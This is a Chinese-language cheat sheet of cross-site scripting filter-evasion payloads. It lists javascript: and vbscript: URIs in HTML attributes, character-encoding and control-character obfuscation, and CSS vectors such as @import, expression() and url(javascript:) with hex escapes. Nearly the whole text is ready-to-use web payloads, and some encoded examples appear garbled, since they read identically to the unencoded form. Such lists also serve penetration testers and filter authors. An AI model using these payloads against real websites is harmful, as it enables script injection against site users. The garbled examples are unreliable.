1.腳本插入
(1)插入javascript和vbscript正常字符。
例1:<img src=”javascript:alert(/xss/)”>
例2:<table background=”javascript:alert(/xss/)”></table>’/在表格中插入腳本
例3:<img src=”vbscript:msgbox(“a”)”>
(2)轉換字符類型。將javascript或vbscript中的任一個或全部字符轉換為十進制或十六進制字符
例1:<img src=”javascript:alert(/xss/)”> ‘/將j字符轉為十進制字符j 。
例2:<img src=”javascript:alert(/xss/)”> ‘/將j字符轉為十六進制字符j 。
(3)插入混淆字符。在系統控制字符中,除了頭部的�(null)和尾部的 (del)外,其他31個字符均可作為混淆字符,比如 、 等字符都可插入到
javascript或vbscript的頭部,其中Tab符 、換行符、回車符還可以插入到代碼中任意地方。
例1:<img src=” javascript:alert(/a/)”> ‘/插入到代碼頭部,其中 可寫成 ,效果一樣
例2:<img src=”java scr ipt:alert(/a/)”> ‘/插入到代碼中任意位置,其中 可寫成
例3:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是回車符的16進制形式
例4:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是換行符的16進制形式
2.樣式表
(1)利用CSS代碼@import、expression觸發XSS漏洞。
例1:@import “http://web/xss.css”; ‘導入外部帶有XSS代碼的CSS樣式表。
例2:@import’javascript:alert(“xss”)’; ‘調用javascript腳本觸發漏洞
例3:body{xss:expression(alert(‘xss’))} ‘在內部樣式表中加入expression事件
例4:<img style=”xss:expression(alert(“xss”))”>’在內嵌樣式表中加入expression事件
(2)在CSS代碼中加入javascript和vbscript腳本
例1:body{background-image:url(javascript:alert(“xss”))}
例2:body{background-image:url(vbscript:msgbox(“xss”))}
(3)轉換字符類型,以十六進制字符替換其中或全部的字符:
例1:@\0069mport:url(web/1.css);’//將其中的i轉為\0069
例2:body{xss:\0065xpression(alert(‘xss’))}’//將e轉換為\0065
例3:body{background-image:\0075\0072\006c…}’將url全轉為16進制
(4)插入混淆字符,在css中,/**/是注釋字符,除了/**/外,字符”\”和結束符”\0″也是被忽略的,可以用來混淆字符。
例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;